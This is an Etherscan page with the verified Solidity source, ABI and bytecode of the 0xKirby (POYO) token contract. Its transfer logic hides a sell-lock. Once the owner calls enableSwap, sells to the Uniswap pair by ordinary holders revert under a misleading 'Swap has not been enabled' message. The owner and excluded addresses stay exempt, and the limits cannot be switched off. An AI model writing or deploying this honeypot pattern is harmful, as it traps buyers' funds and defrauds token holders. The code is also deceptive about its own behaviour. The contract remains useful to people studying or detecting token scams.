ETH Price: $3,249.97 (+2.59%)
Gas: 3 Gwei

Token

0xKirby (POYO)
 

Overview

Max Total Supply

100,000,000 POYO

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,067,137.800055726443939968 POYO

Value
$0.00
0x0f1b91130f42e72d6a3ad647b6fcce77295f68cc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KIRB

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 400 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

/*
Socials - 

Website - https://0xkirby.com/

Telegram - https://t.me/xkirbycoin

Twitter - https://twitter.com/0xKirbyCoin

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣤⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣠⡶⠒⠒⠶⣄⣠⡴⠚⠉⠁⠀⠀⠀⠀⠀⠉⠙⠳⢦⡀⠀⠀⠀⠀⠀⠀
⢠⡏⠀⠀⠀⠀⠘⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢧⡀⠀⠀⠀⠀
⢸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠋⢱⠀⠀⢠⠉⢡⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀
⠀⣧⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⣾⠄⠀⢸⣦⣾⠀⠀⠀⠀⠀⠀⢻⡄⠀⠀
⠀⠘⢧⡀⠀⠀⠀⠀⠀⠀⠈⣿⣿⠀⠀⠸⣿⡿⠀⠀⠀⠀⠀⠀⠈⠳⣄⠀
⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠈⠁⡴⠶⡆⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠹⡄
⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷
⠀⠀⠀⠸⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠇
⠀⠀⠀⣀⡿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡽⣿⡛⠁⠀
⠀⣠⢾⣭⠀⠈⠳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⢠⣝⣷⡀
⢠⡏⠘⠋⠀⠀⠀⠈⠑⠦⣄⣀⠀⠀⠀⠀⠀⣀⡠⠔⠋⠀⠀⠀⠈⠛⠃⢻
⠈⠷⣤⣀⣀⣀⣀⣀⣀⣀⣀⣤⡽⠟⠛⠿⣭⣄⣀⣀⣀⣀⣀⣀⣀⣀⣤⠞
⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠀⠀⠀

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract KIRB is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    string private _name = "0xKirby";
    string private _symbol = "POYO";
    bool private swapping;
    mapping(address => bool) private isExcludedFromFees;
    mapping(address => bool) private isExcludedMaxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public buyFee;
    uint256 public sellFee;
    address public uniswapV2Pair;
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);
    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    bool public startTrade = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;
    address public marketingWallet;
    mapping(address => bool) private pairs;

    constructor() ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        excludeFromMaxTransactionAmount(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        pairs[address(uniswapV2Pair)] = true;
        excludeFromMaxTransactionAmount(address(uniswapV2Pair), true);
        uint256 totalSupply = 100000000 * 10**decimals();
        buyFee = 0;
        sellFee = 0;
        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply.mul(1).div(100);
        marketingWallet = address(0x501C7e562BC7f99e07e603d8Dc8D283f9f1188cA);
        excludeFromMaxTransactionAmount(owner(), true);
        excludeFromMaxTransactionAmount(address(this), true);
        excludeFromMaxTransactionAmount(DEAD, true);
        excludeFromMaxTransactionAmount(marketingWallet, true);
        _mint(_msgSender(), totalSupply.mul(100).div(100));
    }

    receive() external payable {}
    function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner {
        isExcludedMaxTransactionAmount[_address] = excluded;
    }

function _transfer(address from, address to, uint256 amount) internal override {
    require(from != ZERO, "ERC20: transfer from the zero address.");
    require(to != DEAD, "ERC20: transfer to the zero address.");
    require(amount > 0, "ERC20: transfer amount must be greater than zero.");

    if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) {
        if (!startTrade) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active.");
        }

        if (limitsInEffect) {
            if (pairs[from] && !isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount.");
                require(!swapEnabled, "Swap has not been enabled.");
            } else if (!isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            }
        }
    }

    bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
    if (
        canSwap &&
        swapEnabled &&
        !swapping &&
        !pairs[from] &&
        !isExcludedFromFees[from] &&
        !isExcludedFromFees[to]
    ) {
        swapping = true;
        swapBack(false);
        swapping = false;
    }

    bool takeFee = !swapping;

    if (isExcludedFromFees[from] || isExcludedFromFees[to]) {
        takeFee = false;
    }

    uint256 fees = 0;
    if (takeFee) {
        if(pairs[to] || pairs[from]) {
            fees = amount.mul(buyFee).div(100);
        }
        if (pairs[to] && buyFee > 0) {
            fees = amount.mul(buyFee).div(100);
        } else if (pairs[from] && sellFee > 0) {
            fees = amount.mul(sellFee).div(100);
        }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
    super._transfer(from, to, amount);
}

    function enableTrade() external onlyOwner {
        require(!startTrade, "Trading is already open");
        startTrade = true;
        }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableSwap() external onlyOwner {
            swapEnabled = !swapEnabled;
    }

    function swapBack(bool _manualSwap) private {
        uint256 contractBalance = balanceOf(address(this));
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (_manualSwap == false && contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        swapTokensForEth(contractBalance);
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600760808181526630784b6972627960c81b60a05262000025908262000746565b50604080518082019091526004815263504f594f60e01b602082015260089062000050908262000746565b506012805462ffffff1916620100001790553480156200006f57600080fd5b50600780546200007f90620006b8565b80601f0160208091040260200160405190810160405280929190818152602001828054620000ad90620006b8565b8015620000fe5780601f10620000d257610100808354040283529160200191620000fe565b820191906000526020600020905b815481529060010190602001808311620000e057829003601f168201915b5050505050600880546200011290620006b8565b80601f01602080910402602001604051908101604052809291908181526020018280546200014090620006b8565b8015620001915780601f10620001655761010080835404028352916020019162000191565b820191906000526020600020905b8154815290600101906020018083116200017357829003601f168201915b50505050508160039081620001a7919062000746565b506004620001b6828262000746565b505050620001d3620001cd620004c860201b60201c565b620004cc565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002098160016200051e565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000283919062000812565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030c919062000812565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200035a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000380919062000812565b600f80546001600160a01b0319166001600160a01b0392831690811782556000908152601360205260409020805460ff191660019081179091559054620003c99216906200051e565b6000620003d96012600a62000957565b620003e9906305f5e10062000968565b6000600d819055600e556010819055601181905590506200041960646200041283600162000553565b906200056a565b600c55601280546301000000600160b81b03191676501c7e562bc7f99e07e603d8dc8d283f9f1188ca000000179055620004676200045f6005546001600160a01b031690565b60016200051e565b620004743060016200051e565b6200048361dead60016200051e565b601254620004a390630100000090046001600160a01b031660016200051e565b620004c033620004ba606462000412858262000553565b62000578565b5050620009bb565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620005286200063f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b600062000561828462000968565b90505b92915050565b600062000561828462000982565b6001600160a01b038216620005d45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620005e89190620009a5565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6005546001600160a01b031633146200069b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620005cb565b565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006cd57607f821691505b602082108103620006ee57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200069d57600081815260208120601f850160051c810160208610156200071d5750805b601f850160051c820191505b818110156200073e5782815560010162000729565b505050505050565b81516001600160401b03811115620007625762000762620006a2565b6200077a81620007738454620006b8565b84620006f4565b602080601f831160018114620007b25760008415620007995750858301515b600019600386901b1c1916600185901b1785556200073e565b600085815260208120601f198616915b82811015620007e357888601518255948401946001909101908401620007c2565b5085821015620008025787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200082557600080fd5b81516001600160a01b03811681146200083d57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200089b5781600019048211156200087f576200087f62000844565b808516156200088d57918102915b93841c93908002906200085f565b509250929050565b600082620008b45750600162000564565b81620008c35750600062000564565b8160018114620008dc5760028114620008e75762000907565b600191505062000564565b60ff841115620008fb57620008fb62000844565b50506001821b62000564565b5060208310610133831016604e8410600b84101617156200092c575081810a62000564565b6200093883836200085a565b80600019048211156200094f576200094f62000844565b029392505050565b60006200056160ff841683620008a3565b808202811582820484141762000564576200056462000844565b600082620009a057634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000564576200056462000844565b61172880620009cb6000396000f3fe6080604052600436106101995760003560e01c80634a62bb65116100e15780638da5cb5b1161008a578063c8c8ebe411610064578063c8c8ebe414610449578063dd62ed3e1461045f578063e2f45605146104a5578063f8b45b05146104bb57600080fd5b80638da5cb5b146103f657806395d89b4114610414578063a9059cbb1461042957600080fd5b806370a08231116100bb57806370a0823114610384578063715018a6146103ba57806375f0a874146103cf57600080fd5b80634a62bb651461032b5780636c5808011461034b5780636ddd17131461036557600080fd5b80632969144811610143578063313ce5671161011d578063313ce567146102d957806347062402146102f557806349bd5a5e1461030b57600080fd5b8063296914481461028e5780632ae2f121146102a35780632b14ca56146102c357600080fd5b80631694505e116101745780631694505e1461021757806318160ddd1461024f57806323b872dd1461026e57600080fd5b806299d386146101a557806306fdde03146101bc578063095ea7b3146101e757600080fd5b366101a057005b600080fd5b3480156101b157600080fd5b506101ba6104d1565b005b3480156101c857600080fd5b506101d1610540565b6040516101de9190611443565b60405180910390f35b3480156101f357600080fd5b506102076102023660046114a9565b6105d2565b60405190151581526020016101de565b34801561022357600080fd5b50600654610237906001600160a01b031681565b6040516001600160a01b0390911681526020016101de565b34801561025b57600080fd5b506002545b6040519081526020016101de565b34801561027a57600080fd5b506102076102893660046114d5565b6105ec565b34801561029a57600080fd5b506101ba610610565b3480156102af57600080fd5b506101ba6102be366004611516565b610635565b3480156102cf57600080fd5b50610260600e5481565b3480156102e557600080fd5b50604051601281526020016101de565b34801561030157600080fd5b50610260600d5481565b34801561031757600080fd5b50600f54610237906001600160a01b031681565b34801561033757600080fd5b506012546102079062010000900460ff1681565b34801561035757600080fd5b506012546102079060ff1681565b34801561037157600080fd5b5060125461020790610100900460ff1681565b34801561039057600080fd5b5061026061039f366004611554565b6001600160a01b031660009081526020819052604090205490565b3480156103c657600080fd5b506101ba610668565b3480156103db57600080fd5b5060125461023790630100000090046001600160a01b031681565b34801561040257600080fd5b506005546001600160a01b0316610237565b34801561042057600080fd5b506101d161067c565b34801561043557600080fd5b506102076104443660046114a9565b61068b565b34801561045557600080fd5b5061026060105481565b34801561046b57600080fd5b5061026061047a366004611571565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156104b157600080fd5b50610260600c5481565b3480156104c757600080fd5b5061026060115481565b6104d9610699565b60125460ff16156105315760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6012805460ff19166001179055565b60606003805461054f9061159f565b80601f016020809104026020016040519081016040528092919081815260200182805461057b9061159f565b80156105c85780601f1061059d576101008083540402835291602001916105c8565b820191906000526020600020905b8154815290600101906020018083116105ab57829003601f168201915b5050505050905090565b6000336105e08185856106f3565b60019150505b92915050565b6000336105fa858285610817565b6106058585856108a9565b506001949350505050565b610618610699565b6012805461ff001981166101009182900460ff1615909102179055565b61063d610699565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b610670610699565b61067a6000611026565b565b60606004805461054f9061159f565b6000336105e08185856108a9565b6005546001600160a01b0316331461067a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610528565b6001600160a01b0383166107555760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610528565b6001600160a01b0382166107b65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610528565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146108a357818110156108965760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610528565b6108a384848484036106f3565b50505050565b6001600160a01b03831661090e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015265323932b9b99760d11b6064820152608401610528565b61deac196001600160a01b038316016109755760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526332b9b99760e11b6064820152608401610528565b600081116109eb5760405162461bcd60e51b815260206004820152603160248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f2e0000000000000000000000000000006064820152608401610528565b6005546001600160a01b03848116911614801590610a1757506005546001600160a01b03838116911614155b8015610a2b57506001600160a01b03821615155b8015610a4257506001600160a01b03821661dead14155b8015610a51575060095460ff16155b15610dcb5760125460ff16610aeb576001600160a01b0383166000908152600a602052604090205460ff1680610a9f57506001600160a01b0382166000908152600a602052604090205460ff165b610aeb5760405162461bcd60e51b815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e000000000000000000006044820152606401610528565b60125462010000900460ff1615610dcb576001600160a01b03831660009081526013602052604090205460ff168015610b3d57506001600160a01b0382166000908152600b602052604090205460ff16155b15610c2a57601054811115610bba5760405162461bcd60e51b815260206004820152603760248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d6178207472616e73616374696f6e20616d6f756e742e0000000000000000006064820152608401610528565b6011546001600160a01b038316600090815260208190526040902054610be090836115ef565b1115610c255760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b6044820152606401610528565b610dcb565b6001600160a01b03821660009081526013602052604090205460ff168015610c6b57506001600160a01b0383166000908152600b602052604090205460ff16155b15610d4057601054811115610ce85760405162461bcd60e51b815260206004820152603860248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d6178207472616e73616374696f6e20616d6f756e742e00000000000000006064820152608401610528565b601254610100900460ff1615610c255760405162461bcd60e51b815260206004820152601a60248201527f5377617020686173206e6f74206265656e20656e61626c65642e0000000000006044820152606401610528565b6001600160a01b0382166000908152600b602052604090205460ff16610dcb576011546001600160a01b038316600090815260208190526040902054610d8690836115ef565b1115610dcb5760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b6044820152606401610528565b600c5430600090815260208190526040902054108015908190610df55750601254610100900460ff165b8015610e04575060095460ff16155b8015610e2957506001600160a01b03841660009081526013602052604090205460ff16155b8015610e4e57506001600160a01b0384166000908152600a602052604090205460ff16155b8015610e7357506001600160a01b0383166000908152600a602052604090205460ff16155b15610e9a576009805460ff19166001179055610e8f6000611085565b6009805460ff191690555b6009546001600160a01b0385166000908152600a602052604090205460ff91821615911680610ee157506001600160a01b0384166000908152600a602052604090205460ff165b15610eea575060005b60008115611013576001600160a01b03851660009081526013602052604090205460ff1680610f3157506001600160a01b03861660009081526013602052604090205460ff165b15610f5957610f566064610f50600d548761112e90919063ffffffff16565b90611141565b90505b6001600160a01b03851660009081526013602052604090205460ff168015610f8357506000600d54115b15610fa957610fa26064610f50600d548761112e90919063ffffffff16565b9050610ff5565b6001600160a01b03861660009081526013602052604090205460ff168015610fd357506000600e54115b15610ff557610ff26064610f50600e548761112e90919063ffffffff16565b90505b80156110065761100686308361114d565b6110108185611602565b93505b61101e86868661114d565b505050505050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b30600090815260208190526040812054908181036110a257505050565b821580156110bc5750600c546110b9906014611615565b82115b156110d257600c546110cf906014611615565b91505b6110db826112f1565b60125460405163010000009091046001600160a01b0316904790600081818185875af1925050503d806000811461101e576040519150601f19603f3d011682016040523d82523d6000602084013e61101e565b600061113a8284611615565b9392505050565b600061113a828461162c565b6001600160a01b0383166111b15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610528565b6001600160a01b0382166112135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610528565b6001600160a01b0383166000908152602081905260409020548181101561128b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610528565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108a3565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113265761132661164e565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190611664565b816001815181106113b6576113b661164e565b6001600160a01b0392831660209182029290920101526006546113dc91309116846106f3565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611415908590600090869030904290600401611681565b600060405180830381600087803b15801561142f57600080fd5b505af115801561101e573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561147057858101830151858201604001528201611454565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a657600080fd5b50565b600080604083850312156114bc57600080fd